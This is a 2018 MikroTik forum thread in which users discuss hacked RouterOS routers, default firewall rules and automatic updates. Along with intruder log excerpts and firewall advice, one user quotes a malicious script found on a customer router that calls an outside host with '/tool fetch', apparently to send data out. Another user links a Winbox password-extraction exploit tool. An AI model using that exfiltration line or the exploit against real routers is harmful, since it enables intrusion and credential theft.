How to warn user of Mikrotik products to update I made already constructive remarks and when they are up to it or are forced to be up to it it will happen.

Let's start small and first get the correct information to the users and seeing today again lacking that in completeness and drive to have all the information out that informs users in a way that they don't get the impression that it is inaccurate and that the information by Mikrotik is not taken serious any more. The result is there to see and in the news and not only with Heise.

Thu Sep 06, 2018 10:51 am

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.

Be more specific what exactly is not secure? Default firewall is as secure as it can be, only ICMP is allowed on WAN port.

mkx · Thu Sep 06, 2018 11:28 am

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.
Be more specific what exactly is not secure? Default firewall is as secure as it can be, only ICMP is allowed on WAN port.

The problem is upgrading say 6-year old RBs. FW rules don't get updated even if user never touched those. And 6-year old firewall rules are not that safe. I have no idea how to automatically upgrade firewall rules when better defaults in ROS exist.

Another problem is when user installs ipv6 package. Firewall list is empty unless one resets whole configuration. Which is a nuisance (backup is no good, export config should be done, configuration has to be reset and exported config imported again) and user has to be aware of this. It would be much better if in this case, ipv6 config should be reset to ROS defaults upon installation of package (old config is non-existant in this case).

Deantwo · Thu Sep 06, 2018 3:07 pm

I still believe Mikrotik's default configuration is too weak for the majority of their lazy/inexperienced customers, therefore I'd suggest to ship future ROS releases in Fortknox-mode by default.
Be more specific what exactly is not secure? Default firewall is as secure as it can be, only ICMP is allowed on WAN port.
The problem is upgrading say 6-year old RBs. FW rules don't get updated even if user never touched those. And 6-year old firewall rules are not that safe. I have no idea how to automatically upgrade firewall rules when better defaults in ROS exist.

6 year old default firewall rules aren't secure enough? What do you expect MikroTik to do about that now?
MikroTik already updated the default firewall rules more than a year ago.
They can't change how they made stuff 6 years ago unless they have a time machine (and you guys don't, right?).

If you want the newer default firewall rules, you just take a spare router, upgrade it to the latest RouterOS version, reset the configuration to default, and then you just copy the firewall rules from it onto your older routers.
You can also reset your router to the newer default configuration and then build a new configuration up around that.
Or even better, read the manual about how to secure your router: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

Thu Sep 06, 2018 3:18 pm

unless they have a time machine (and you guys don't, right?).

We are working on it.

mkx · Thu Sep 06, 2018 4:27 pm

6 year old default firewall rules aren't secure enough? What do you expect MikroTik to do about that now?
MikroTik already updated the default firewall rules more than a year ago.
They can't change how they made stuff 6 years ago unless they have a time machine (and you guys don't, right?).

If you want the newer default firewall rules, you just take a spare router, upgrade it to the latest RouterOS version, reset the configuration to default, and then you just copy the firewall rules from it onto your older routers.
You can also reset your router to the newer default configuration and then build a new configuration up around that.
Or even better, read the manual about how to secure your router: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

@Deantwo: you largely misinterpreted what I wrote in my post.

The biggest problem about recently (well, in the last two years or so) vulnerabilities in ROS is that old default settings did not rigorously close all WAN access to RB. And then most of users (apart from small number of professionals and not even all professionals) don't upgrade ROS regularly. And even if they do, they expect that this is enough, but now we know that old FW rules are not good enough. Vast majority of users (quite a few "professionals" included) are too ignorant to grasp the need for constant improving of their setup (don't fix it if it ain't broken). Most home users don't have spare RB (of the exactly the same type to make the transition bearable) so that they can reset config, configure from scratch and put in production.

It just doesn't work for crowd, the same crowd that will probably never upgrade ROS anyway and because of the same crowd articles about masively compromised routerboards will pop-up in the press for quite some future ...

Thu Sep 06, 2018 4:47 pm

ROS is that old default settings

That is not correct. Since beginning of default firewall, it protects the default wan port. The issue is that some people want to make VPN in their home router, so they turn off the firewall.

sid5632 · Thu Sep 06, 2018 4:49 pm

unless they have a time machine (and you guys don't, right?).
We are working on it.

Yeah, but when will it be released?
1985?

Thu Sep 06, 2018 4:50 pm

Actually old firewall protected router just fine. Users ef-ed up configuration and did not adjust firewall accordingly.
Of course we will think about improvements, but there will always be the case when somebody change something and complain that router is not secure.

Deantwo · Thu Sep 06, 2018 6:08 pm

Actually old firewall protected router just fine. Users ef-ed up configuration and did not adjust firewall accordingly.
Of course we will think about improvements, but there will always be the case when somebody change something and complain that router is not secure.

Yeah, if a guide starts by saying "remove the default configuration", you likely need to rethink your choice of configuration guide.

The manual's guide on securing your router taught me a thing or two as well. Very useful.
See: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

schadom · Fri Sep 07, 2018 1:37 am

Actually old firewall protected router just fine. Users ef-ed up configuration and did not adjust firewall accordingly.
Of course we will think about improvements, but there will always be the case when somebody change something and complain that router is not secure.

Thanks mrz for all your efforts in making the web more secure.
Here are some suggestions in unsorted order:

- Secure hashing of passwords in .idx files (scrypt, bcrypt, pbkdf2 or at least sha-3)
- Password complexity requirements setting which is enabled and enforced by default
- Warning messages and double-confirmations for enabling access from 0.0.0.0/0
- Bruteforce prevention & temporary lockout for all management ports by default
- Notifications in Winbox or on Winbox startup for criticial security updates
- A security announcement mailinglist would be very useful
- Automatic security updates (manual opt-in for SoHo devices)

Fri Sep 07, 2018 8:41 am

I just recently remembered that i gave MT router to my far relatives, i pre-configured it with just winbox access, it was year ago, just got IP to connect to and this is what i see:

Jul/28/2018 08:12:46 system,info,account user macgaiver logged in from 95.154.216.151 via winbox
Jul/28/2018 08:12:46 system,info socks config changed by macgaiver
Jul/28/2018 08:12:47 system,info new script added by macgaiver
Jul/28/2018 08:12:48 system,info new script scheduled by macgaiver
Jul/28/2018 08:12:48 system,info new script added by macgaiver
Jul/28/2018 08:12:48 system,info new script scheduled by macgaiver
Jul/28/2018 08:12:48 system,info new script added by macgaiver
Jul/28/2018 08:12:48 system,info new script scheduled by macgaiver
Jul/28/2018 08:12:48 system,info,account user macgaiver logged out from 95.154.216.151 via winbox
Jul/28/2018 08:13:17 system,info script removed from scheduler by macgaiver
Jul/28/2018 08:13:17 system,info script removed by macgaiver
Jul/28/2018 08:13:17 system,info filter rule changed by macgaiver
Jul/28/2018 08:13:17 system,info filter rule changed by macgaiver
Jul/28/2018 08:13:17 system,info filter rule changed by macgaiver
Jul/28/2018 08:13:17 system,info script removed from scheduler by macgaiver
Jul/28/2018 08:13:17 system,info script removed by macgaiver

Aug/05/2018 11:31:15 system,info,account user macgaiver logged in from 95.154.216.151 via winbox
Aug/05/2018 11:31:16 system,info socks acl entry added by macgaiver
Aug/05/2018 11:31:16 system,info socks config changed by macgaiver
Aug/05/2018 11:31:16 system,info new script added by macgaiver
Aug/05/2018 11:31:16 system,info new script scheduled by macgaiver
Aug/05/2018 11:31:16 system,info new script added by macgaiver
Aug/05/2018 11:31:16 system,info new script scheduled by macgaiver
Aug/05/2018 11:31:16 system,info new script added by macgaiver
Aug/05/2018 11:31:16 system,info,account user macgaiver logged out from 95.154.216.151 via winbox
Aug/05/2018 11:31:16 system,info new script scheduled by macgaiver
Aug/05/2018 11:31:47 system,info script removed from scheduler by macgaiver
Aug/05/2018 11:31:47 system,info filter rule changed by macgaiver
Aug/05/2018 11:31:47 system,info script removed by macgaiver
Aug/05/2018 11:31:47 system,info script removed by macgaiver
Aug/05/2018 11:31:47 system,info filter rule changed by macgaiver
Aug/05/2018 11:31:47 system,info script removed from scheduler by macgaiver
Aug/05/2018 11:31:47 system,info filter rule changed by macgaiver
Aug/05/2018 11:31:47 system,info script removed from scheduler by macgaiver
Aug/05/2018 11:31:47 system,info script removed by macgaiver

Aug/19/2018 23:22:47 system,info,account user macgaiver logged in from 95.154.216.151 via winbox
Aug/19/2018 23:22:47 system,info socks acl entry added by macgaiver
Aug/19/2018 23:22:47 system,info socks config changed by macgaiver
Aug/19/2018 23:22:47 system,info new script added by macgaiver
Aug/19/2018 23:22:47 system,info new script scheduled by macgaiver
Aug/19/2018 23:22:47 system,info new script added by macgaiver
Aug/19/2018 23:22:47 system,info,account user macgaiver logged out from 95.154.216.151 via winbox
Aug/19/2018 23:22:47 system,info new script scheduled by macgaiver
Aug/19/2018 23:23:17 system,info script removed from scheduler by macgaiver
Aug/19/2018 23:23:17 system,info filter rule changed by macgaiver
Aug/19/2018 23:23:17 system,info script removed by macgaiver
Aug/19/2018 23:23:17 system,info filter rule changed by macgaiver
Aug/19/2018 23:23:17 system,info filter rule changed by macgaiver
Aug/19/2018 23:23:17 system,info script removed from scheduler by macgaiver
Aug/19/2018 23:23:17 system,info script removed by macgaiver

Sep/03/2018 23:03:03 system,info,account user macgaiver logged in from 109.172.76.49 via winbox
Sep/03/2018 23:03:07 system,info,account user macgaiver logged in from 109.172.76.49 via telnet
Sep/03/2018 23:03:11 system,info ip service changed by macgaiver
Sep/03/2018 23:03:13 system,info ip service changed by macgaiver
Sep/03/2018 23:03:14 system,info,account user macgaiver logged out from 109.172.76.49 via winbox
Sep/03/2018 23:03:14 system,info,account user macgaiver logged out from 109.172.76.49 via telnet
Sep/03/2018 23:03:16 system,info,account user macgaiver logged in from 159.224.52.96 via api
Sep/03/2018 23:03:20 system,info socks config changed by macgaiver
Sep/03/2018 23:03:21 system,info dns changed by macgaiver
Sep/03/2018 23:03:21 system,info item changed by macgaiver
Sep/03/2018 23:03:23 system,info script removed by macgaiver
Sep/03/2018 23:03:24 system,info script removed from scheduler by macgaiver
Sep/03/2018 23:03:25 system,info socks config changed by macgaiver
Sep/03/2018 23:03:26 system,info http proxy settings changed by macgaiver
Sep/03/2018 23:03:37 wireless,info 60:A4:D0:05:67:CB@wlan1: disconnected, disabling
Sep/03/2018 23:03:37 system,info,account user macgaiver logged out from 159.224.52.96 via api
Sep/03/2018 23:03:37 system,info,account user macgaiver logged out from 159.224.52.96 via api
Sep/03/2018 23:03:43 system,info verified routeros-mipsbe-6.42.7.npk
Sep/03/2018 23:03:43 system,info installed routeros-mipsbe-6.42.7
Sep/03/2018 23:03:44 system,info router rebooted

non of them was me

, including last one that cleared everything up and upgraded the router (thanks, to whomever that was)

msatter · Mon Sep 10, 2018 1:01 pm

Our Dutch Prime Minister has also a driver license made in Poland on his name.

Darn the advertisement is removed.

Mon Sep 10, 2018 1:13 pm

@msatter: Is it joke or not?

wpeople · Mon Sep 10, 2018 6:47 pm

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

43north · Mon Sep 10, 2018 9:06 pm

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

I have understood that even if you limit the connections in the IP/Services to specific addresses that it still allows the attacker close enough to execute the exploit. I have created firewall rules for the default 8291 and also for the port that I changed my Winbox access to. This is the only sure way in my mind that they won't be able to even reach IP/Services.

Anyone please correct me if I am wrong on these points.

msatter · Mon Sep 10, 2018 9:11 pm

@msatter: Is it joke or not?

https://www.rdw.nl/particulier/nieuws/2 ... -rijbewijs

The internet is full of news items about Rutte rijbewijs

Deantwo · Tue Sep 11, 2018 10:08 am

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

Without knowing exactly what you had configured on it, it is hard to know what was and wasn't possibly.
Also if you didn't change your password after upgrading, anyone that may have exploited your router before you upgraded might still have access.

I suggest you email support@mikrotik.com (see), they will be able to look through your configuration and see if it is a configuration issue or a software bug.

wpeople · Tue Sep 11, 2018 12:08 pm

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3
Without knowing exactly what you had configured on it, it is hard to know what was and wasn't possibly.
Also if you didn't change your password after upgrading, anyone that may have exploited your router before you upgraded might still have access.

I suggest you email support@mikrotik.com (see), they will be able to look through your configuration and see if it is a configuration issue or a software bug.

Even if he knows the password BUT the service is LIMITED to my ip prefixes, how the hell he can control my device?!
The only way is this possible, if Mikrotik made the service check connecting IP address AFTER authentication.

If the services does NOT allow connection from anybut but listed IPs, the packets from unlisted source should not access the application. I think.
Please fixme, or accept that there is another piece of sh!t found in the pancake...

Tue Sep 11, 2018 1:20 pm

Did you always have the IP SERVICES limitation? The hack could have happened last year. Is it correctly set up, and was it always?

wpeople · Tue Sep 11, 2018 1:27 pm

Yes! 95% of those routers had ip/services limitation since installation! (other 5% is customer radio turned to router from bridge, due customer router issue)

90% of those 95% devices has remote syslog as well - but momentary had no time to lookup them. probably i will found something, becuase hacker set logging limit to 1 line

Tue Sep 11, 2018 1:30 pm

How about possibility of a staff member, that used the attack script from the allowed IP range?
IP services works well, there is zero evidence that this limit can be overcome in some way.

Deantwo · Tue Sep 11, 2018 2:36 pm

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3
Without knowing exactly what you had configured on it, it is hard to know what was and wasn't possibly.
Also if you didn't change your password after upgrading, anyone that may have exploited your router before you upgraded might still have access.

I suggest you email support@mikrotik.com (see), they will be able to look through your configuration and see if it is a configuration issue or a software bug.
Even if he knows the password BUT the service is LIMITED to my ip prefixes, how the hell he can control my device?!
The only way is this possible, if Mikrotik made the service check connecting IP address AFTER authentication.

If the services does NOT allow connection from anybut but listed IPs, the packets from unlisted source should not access the application. I think.
Please fixme, or accept that there is another piece of sh!t found in the pancake...

Check your logs to see where the attacker accessed from, it could be a compromised machine from a trusted IP-address range. We can't really help you here without more information.

Maybe better if you make a new thread and post your configuration (passwords and IPs obscured of course) so we can see what might be wrong and help you there. Instead of polluting this thread with baseless accusations and misinformation.

I would however suggest to email support@mikrotik.com, since if it is a real issue then they can escalate it to the right department. This would however not satisfy my curiosity.

Tue Sep 11, 2018 2:45 pm

in some cases it was reported that device got infected from other infected device from the same (trusted) network.

tiktakmik · Tue Sep 11, 2018 6:09 pm

CHR was hacked. I got new password from disk image and password recovery tools.
Now i change hacker's configuration, remove socks, change password again, but didn't clear disk image and license.

See screenshot of winbox interface : http://prntscr.com/kt6f9y

1 . Whis is this "job" on image? It is hacker's job, or system (like osfp)?
There is no such task in the my usual configuration

here is full export command (little obfuscated)
/export

# sep/11/2018 17:50:21 by RouterOS 6.43
# software id =
#
#
#
/interface gre
add !keepalive local-address=185.31.1.2 name=to_Sremote-address=46.0.1.1
add !keepalive local-address=185.31.1.2 name=to_X remote-address=178.215.1.1
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/routing ospf instance
set [ find default=yes ] router-id=192.168.123.0
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0 name=public4444
/ip address
add address=185.31.1.2/24 interface=ether1 network=185.31.1.0
add address=192.168.123.254/24 interface=ether2 network=192.168.123.0
add address=10.10.10.26/30 interface=to_Xl network=10.10.10.24
add address=20.20.20.1/30 interface=to_Y network=20.20.20.0
/ip dhcp-client
add disabled=no interface=ether1
/ip dns
set allow-remote-requests=yes servers=8.8.8.8
/ip firewall filter
add action=fasttrack-connection chain=forward connection-state=established,related
add action=accept chain=forward connection-state=established,related
add action=accept chain=input connection-state=established,related
add action=drop chain=input dst-port=53 in-interface=ether1 protocol=udp
add action=drop chain=input dst-port=53 in-interface=ether1 protocol=tcp
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
add action=netmap chain=dstnat comment="HTTPS Nginx" dst-port=443 in-interface=ether1 protocol=tcp to-addresses=192.168.123.1 to-ports=443
/ip firewall service-port
set ftp disabled=yes
set tftp disabled=yes
set irc disabled=yes
set h323 disabled=yes
set sip disabled=yes
set udplite disabled=yes
set dccp disabled=yes
set sctp disabled=yes
/ip route
add distance=1 gateway=185.31.1.1
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set ssh port=2001
set api disabled=yes
set api-ssl disabled=yes
/routing ospf network
add area=backbone network=10.10.10.24/30
add area=backbone network=192.168.123.0/24
add area=backbone network=20.20.20.0/30
/system clock
set time-zone-name=Europe/Moscow
/system ntp client
set enabled=yes primary-ntp=216.229.0.179 secondary-ntp=80.240.216.155

Can hackers also put backdoors to linux?

2. How I can I reinstall CHR license on new disk image?

Deantwo · Tue Sep 11, 2018 8:06 pm

here is full export command (little obfuscated)
/export

# sep/11/2018 17:50:21 by RouterOS 6.43
# software id =
#
#
#
/interface gre
add !keepalive local-address=185.31.1.2 name=to_Sremote-address=46.0.1.1
add !keepalive local-address=185.31.1.2 name=to_X remote-address=178.215.1.1
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/routing ospf instance
set [ find default=yes ] router-id=192.168.123.0
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0 name=public4444
/ip address
add address=185.31.1.2/24 interface=ether1 network=185.31.1.0
add address=192.168.123.254/24 interface=ether2 network=192.168.123.0
add address=10.10.10.26/30 interface=to_Xl network=10.10.10.24
add address=20.20.20.1/30 interface=to_Y network=20.20.20.0
/ip dhcp-client
add disabled=no interface=ether1
/ip dns
set allow-remote-requests=yes servers=8.8.8.8
/ip firewall filter
add action=fasttrack-connection chain=forward connection-state=established,related
add action=accept chain=forward connection-state=established,related
add action=accept chain=input connection-state=established,related
add action=drop chain=input dst-port=53 in-interface=ether1 protocol=udp
add action=drop chain=input dst-port=53 in-interface=ether1 protocol=tcp
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
add action=netmap chain=dstnat comment="HTTPS Nginx" dst-port=443 in-interface=ether1 protocol=tcp to-addresses=192.168.123.1 to-ports=443
/ip firewall service-port
set ftp disabled=yes
set tftp disabled=yes
set irc disabled=yes
set h323 disabled=yes
set sip disabled=yes
set udplite disabled=yes
set dccp disabled=yes
set sctp disabled=yes
/ip route
add distance=1 gateway=185.31.1.1
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set ssh port=2001
set api disabled=yes
set api-ssl disabled=yes
/routing ospf network
add area=backbone network=10.10.10.24/30
add area=backbone network=192.168.123.0/24
add area=backbone network=20.20.20.0/30
/system clock
set time-zone-name=Europe/Moscow
/system ntp client
set enabled=yes primary-ntp=216.229.0.179 secondary-ntp=80.240.216.155

Yeah, that configuration is not secure. Wide open to the internet and attackers.
At least missing a couple block rules in the firewall filter. For example:

/ip firewall filter
add action=accept chain=forward in-interface=ether1 connection-state=established,related
add action=accept chain=input in-interface=ether1 connection-state=established,related
add action=drop chain=forward in-interface=ether1
add action=drop chain=input in-interface=ether1

But suggest you read the manual page about securing your router: https://wiki.mikrotik.com/wiki/Manual:S ... our_Router

Can hackers also put backdoors to linux?

No they can not access the linux operating system of the router, unless you have rooted the router yourself already. Which you really should not do.
Unless you were running a version of RouterOS that is older than v6.38.5, see: viewtopic.php?f=21&t=132499

2. How I can I reinstall CHR license on new disk image?

I suggest you email support@mikrotik.com with your license issue.

tiktakmik · Tue Sep 11, 2018 10:16 pm

Yeah, that configuration is not secure. Wide open to the internet and attackers.

Yes. And this is fine. Everyone has his own vision of comfort and safety.
What about my question? who starts this job?

2. How I can I reinstall CHR license on new disk image?

I suggest you email support@mikrotik.com with your license issue.

I haven't access to email or account. Only disk image with self-updated license.
Any other suggestion?

Deantwo · Tue Sep 11, 2018 11:01 pm

2. How I can I reinstall CHR license on new disk image?
I suggest you email support@mikrotik.com with your license issue.
I haven't access to email or account. Only disk image with self-updated license.
Any other suggestion?

Email support@mikrotik.com, they can help you with all your questions.

djradiator · Tue Sep 11, 2018 11:20 pm

Hello everybody,

If somebody will need, I just created a Windows App for showing passwords for impacted MK versions based on the original Python script (https://github.com/BasuCert/WinboxPoC):
https://github.com/msterusky/WinboxExploit/releases

It's a one-time application, and don't plan any extensions and next versions.
The app doesn't contain an implementation with mac-winbox, and works only on IP layer.

Please, feel free to reuse it or adjust as you need.

Thanks,
Martin

sid5632 · Wed Sep 12, 2018 1:37 am

Yeah, that configuration is not secure. Wide open to the internet and attackers.
Yes. And this is fine. Everyone has his own vision of comfort and safety.

You got hacked and started asking questions. Then when someone gives you a sensible answer and tells you where you went wrong, you disagree with them and stick your head in the sand.
You ARE a fool.

tiktakmik · Wed Sep 12, 2018 9:36 am

You ARE a fool.

If this is a reasonable answer, then I invite you to go to Western Siberia in the winter to restore access to the router.

Just answer me, what kind of job is running on this configuration?

Wed Sep 12, 2018 9:40 am

Let me understand this.

1. You have an open router with no firewall
2. You ask why somebody connected to it

Correct?

Deantwo · Wed Sep 12, 2018 10:03 am

If this is a reasonable answer, then I invite you to go to Western Siberia in the winter to restore access to the router.

Even better reason to have it secure, and a plan for how to access it remotely when you finally do secure it correctly.
The manual page I linked you to has examples on how to do all of that. I urge you to give it a read if you haven't already, but even so reading it again is a good idea. I might need to read it all again myself.

Just answer me, what kind of job is running on this configuration?

From the picture and config you supplied us, we can't tell you.
That is why I told you to email support@mikrotik.com instead. Maybe they can see what it is doing if you make a supout?

I guess that it could be an infinity looped mischievous script that wakes up every specific interval and changes the configuration somehow or sends out mischievous traffic. The log could give some hints as to what it is doing, or maybe the System->History.
But if you are running RouterOS v6.43, I don't even see how this is related to this topic at all. Change your password so people that may have hacked your router before can't access it again, and clean up any possible mischievous configuration or scripts. Then implement a more secure firewall and more secure remote access.

Either way, us sitting here and guessing doesn't help anyone. Best not to go too off-topic in this thread with assumptions and speculations. Email support@mikrotik.com and they will be able to help you more closely, or make a new thread so we can all discuss your issue better.

tiktakmik · Wed Sep 12, 2018 10:35 am

Let me understand this.

1. You have an open router with no firewall
2. You ask why somebody connected to it

Correct?

No. Read everything from the beginning
I ask what kind of job running without any config on scheduler or watchdog.

Wed Sep 12, 2018 10:43 am

Sorry I don't understand that question. Try to re-phrase it.

Deantwo · Wed Sep 12, 2018 10:50 am

Sorry I don't understand that question. Try to re-phrase it.

He is talking about what he said in viewtopic.php?p=685673#p685509, a job is shown to be running, yet the configuration doesn't appear to have any scripts in it.
But as I said, from the picture and config alone, I doubt we can't tell him what it is. Unless you happen to know anything else that appear in the job list than scripts.

Wed Sep 12, 2018 10:53 am

This is normal, if you open a Terminal. There is no hacker here.

tiktakmik · Wed Sep 12, 2018 10:57 am

This is normal, if you open a Terminal. There is no hacker here.

I have another similar configuration of CHR (not previosly hacked). Before asking, I checked there and didn't see any jobs.
So I suspect a hacker backdoor.

tiktakmik · Wed Sep 12, 2018 11:01 am

This is normal, if you open a Terminal. There is no hacker here.

ok. confirm this!

now we can go on to discuss the journey in winter

Deantwo · Wed Sep 12, 2018 11:13 am

This is normal, if you open a Terminal. There is no hacker here.

I feel stupid for forgetting this detail... knew I was forgetting something.
Anyway, thanks for the confirmation.

wpeople · Thu Sep 13, 2018 7:02 pm

Just found this on a customer router (where winbox was open for world, running 6.42.3) in system/scripts

{/tool fetch url=("http://www.boss-ip.com/Core/Update.ashx ... artextpass")}

spacemind · Sat Sep 15, 2018 9:09 pm

Sat Sep 15, 2018 10:14 pm

What do you want to say? Have you example of hacked 6.42.7 or are you just guessing and making noise?

spacemind · Sat Sep 15, 2018 10:29 pm

post deleted .... contacted support instead.

kobuki · Sat Sep 15, 2018 10:37 pm

What do you want to say? Have you example of hacked 6.42.7 or are you just guessing and making noise?
One of a client's main router with ros 6.42.7 has been compromised and a lot of traffic was beeing generated before i replace it for a new one.

Ros 6.42.7 with only winbox port open to web, and the other network routers and access points including swos switches are all compromised except the ones with ros 6.18.

This crazy security holes....

I'm not advocating for Mikrotik but please stop this. It's very annoying and I'm really not sure if you're just trolling, speaking on behalf of a competitor or you have a genuine case of hacking. Tell us all details, like how you've checked there were no default empty or easy to guess passwords, proxy service or firewall rules enabled that make it easy to use the router as a starting point for hackers, etc. If you're not 100% positive the break-in is a result of a new security hole then you should consider removing your post and rethink what you post here. We're all here to share info on all the existing exploits and how to deal with them. If you happen to find a genuine one, make a support request with a supout file and file a support request instead.

spacemind · Sat Sep 15, 2018 11:01 pm

kobuki i'm using Mikrotik since version 2, i watched the huge improvement in Mikrotik hardware. I have thousands of deployed mikrotik networks since 2001.

thank you for your sugestion but i'm getting a bit tired of this magnific hardware with crazy and buggy software.

I replaced a few hacked routers and will investigate whats happened.

Bye

R.

zvekyf · Sun Sep 16, 2018 9:18 pm

is there maybe a plan to add auto update option and set that as default option?
There are many routers which will never be updated or until something real bad happens.

Also maybe to add option to auto update only security fixes.

This way every router will be immediately patched/updated(unmanaged) and IT folks(managed) can select manual updates but set auto update for security fixes.

Deantwo · Mon Sep 17, 2018 10:51 am

is there maybe a plan to add auto update option and set that as default option?
There are many routers which will never be updated or until something real bad happens.

The issue with doing that is that users won't know what is happening.
For example if they notice their internet going down their first instinct might be to reboot the router. Rebooting the router while in it is in the middle of installing an upgrade might break the router. And the aveage user will not want to learn how to use NetInstall.

It isn't MikroTik's job to update your router for you, it is only their job to make you able to update it easily and quickly.
All it takes is a simple scheduler script to make it auto update, and if you make it use the "bugfix"/"long-term" channel it will only update when it is an important update.

Maybe an example of such an auto update scheduler script should be added to the wiki/manual?

Mon Sep 17, 2018 11:07 am

Example is already in the manual:
https://wiki.mikrotik.com/wiki/Manual:U ... to-upgrade

Deantwo · Mon Sep 17, 2018 11:27 am

Example is already in the manual:
https://wiki.mikrotik.com/wiki/Manual:U ... to-upgrade

Ah very nice, thanks.
But it would be nice if the example also included "set channel=bugfix", since that took me a moment to find. I can't even see the word "channel" being mentioned at all on the whole page.

For example:

/system package update
set channel=bugfix
check-for-updates once
:delay 1s;
:if ( [get status] = "New version is available" ) do={ install }

EDIT: Appears to be called "release chains" on the page, here: https://wiki.mikrotik.com/wiki/Manual:U ... ase_chains

spacemind · Mon Sep 17, 2018 11:57 am

It isn't MikroTik's job to update your router for you, it is only their job to make you able to update it easily and quickly.

Sorry to disagree but you'r wrong, It is MIKROTIK job to update our router's software when critical vulnerability is on the way.

If we buy mikrotik powerfull routers we must have this critical support.

Try to buy a Tesl.... car or other smart car with this kind of critical vulnerability and have them to tell you that you need to update the software by yourself ( and its your problem if you didn't update it...)

Best Regards
R.

Mon Sep 17, 2018 12:27 pm

I disagree. It is the job of the administrator to configure the device securerly, and then decide when to upgrade. MikroTik can't reboot mission critical devices without consent. We have no access to your devices.

The vulnerability doesn't affect anyone that has the default firwall, or has configured his own firewall correctly.

sid5632 · Mon Sep 17, 2018 12:32 pm

It isn't MikroTik's job to update your router for you, it is only their job to make you able to update it easily and quickly.
Sorry to disagree but you'r wrong, It is MIKROTIK job to update our router's software

No, it you who is WRONG. Now why don't you toddle off to Microsoft and get a copy of Windows 10. Then you can have as many automated updates at inconvenient times as you like.

spacemind · Mon Sep 17, 2018 1:02 pm

It isn't MikroTik's job to update your router for you, it is only their job to make you able to update it easily and quickly.
Sorry to disagree but you'r wrong, It is MIKROTIK job to update our router's software
No, it you who is WRONG. Now why don't you toddle off to Microsoft and get a copy of Windows 10. Then you can have as many automated updates at inconvenient times as you like.

Oh... Am i wrong ? ROS has bugs, but its not windows 10, its much better, and dont forget that Mikrotik is selled all aroud the world to end customers.